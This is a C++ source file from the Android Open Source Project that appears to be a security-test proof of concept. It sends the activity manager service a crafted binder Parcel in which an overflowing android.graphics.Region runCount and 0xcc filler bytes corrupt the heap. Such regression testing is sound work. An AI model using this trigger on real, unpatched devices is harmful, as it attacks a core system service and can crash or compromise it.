1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <sys/stat.h>
20 #include <sys/types.h>
21
22 #include <binder/IServiceManager.h>
23 #include <binder/Parcel.h>
24
25 using namespace android;
26 typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;
27
writeParcelableHead(Parcel * pData,const char * class_name)28 static void writeParcelableHead(Parcel *pData, const char *class_name) {
29 // write key
30 static int count = 1;
31 const int VAL_PARCELABLE = 4;
32 char buffer[16] = {0};
33 snprintf(buffer, 16, "%d", count);
34
35 pData->writeString16(String16((const char *)buffer));
36 pData->writeInt32(VAL_PARCELABLE);
37 pData->writeString16(String16(class_name));
38 }
39
writeRegion(Parcel * pData)40 void writeRegion(Parcel *pData) {
41 pData->writeInt32(100); // length of region;
42 pData->writeInt32(
43 0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
44 pData->writeInt32(0xf); // fBounds
45 pData->writeInt32(0xf); // YSpanCount
46 pData->writeInt32(0xf); // IntervalCount
47
48 char buffer[100];
49 memset(buffer, 0xcc,
50 sizeof(buffer)); // this buffer will be used to corrrupt the heap
51 pData->write(buffer, sizeof(buffer));
52 }
53
writeBundle(Parcel * pData,int type)54 static void writeBundle(Parcel *pData, int type) {
55 size_t lengthPos = pData->dataPosition();
56 pData->writeInt32(0xfffff);
57 const int BUNDLE_MAGIC = 0x4C444E42;
58 pData->writeInt32(BUNDLE_MAGIC);
59 size_t startPos = pData->dataPosition();
60
61 if (type == HEAPCORRUPT) {
62 pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
63 writeParcelableHead(pData, "android.graphics.Region");
64 writeRegion(pData);
65 } else { // other than HEAPCORRUPT
66 exit(0);
67 }
68
69 size_t endPos = pData->dataPosition();
70 // Backpatch length
71 pData->setDataPosition(lengthPos);
72 int length = endPos - startPos;
73 pData->writeInt32(length);
74 pData->setDataPosition(endPos);
75 }
76
transact(sp<IBinder> & service,TRANTYPE type)77 static void transact(sp<IBinder> &service, TRANTYPE type) {
78 const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
79 Parcel data, reply;
80
81 data.writeInterfaceToken(String16("android.app.IActivityManager"));
82 data.writeStrongBinder(service);
83 data.writeInt32(333);
84 writeBundle(&data, type);
85 service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
86 }
87
main(int argc,char * const argv[])88 int main(__attribute__((unused)) int argc,
89 __attribute__((unused)) char *const argv[]) {
90 sp<IServiceManager> sm = defaultServiceManager();
91 sp<IBinder> service = sm->checkService(String16("activity"));
92 if (service != NULL) {
93 printf("heap corruption\n");
94 transact(service, HEAPCORRUPT);
95 } else {
96 printf("get activitymanger failed\n");
97 }
98 return 0;
99 }
100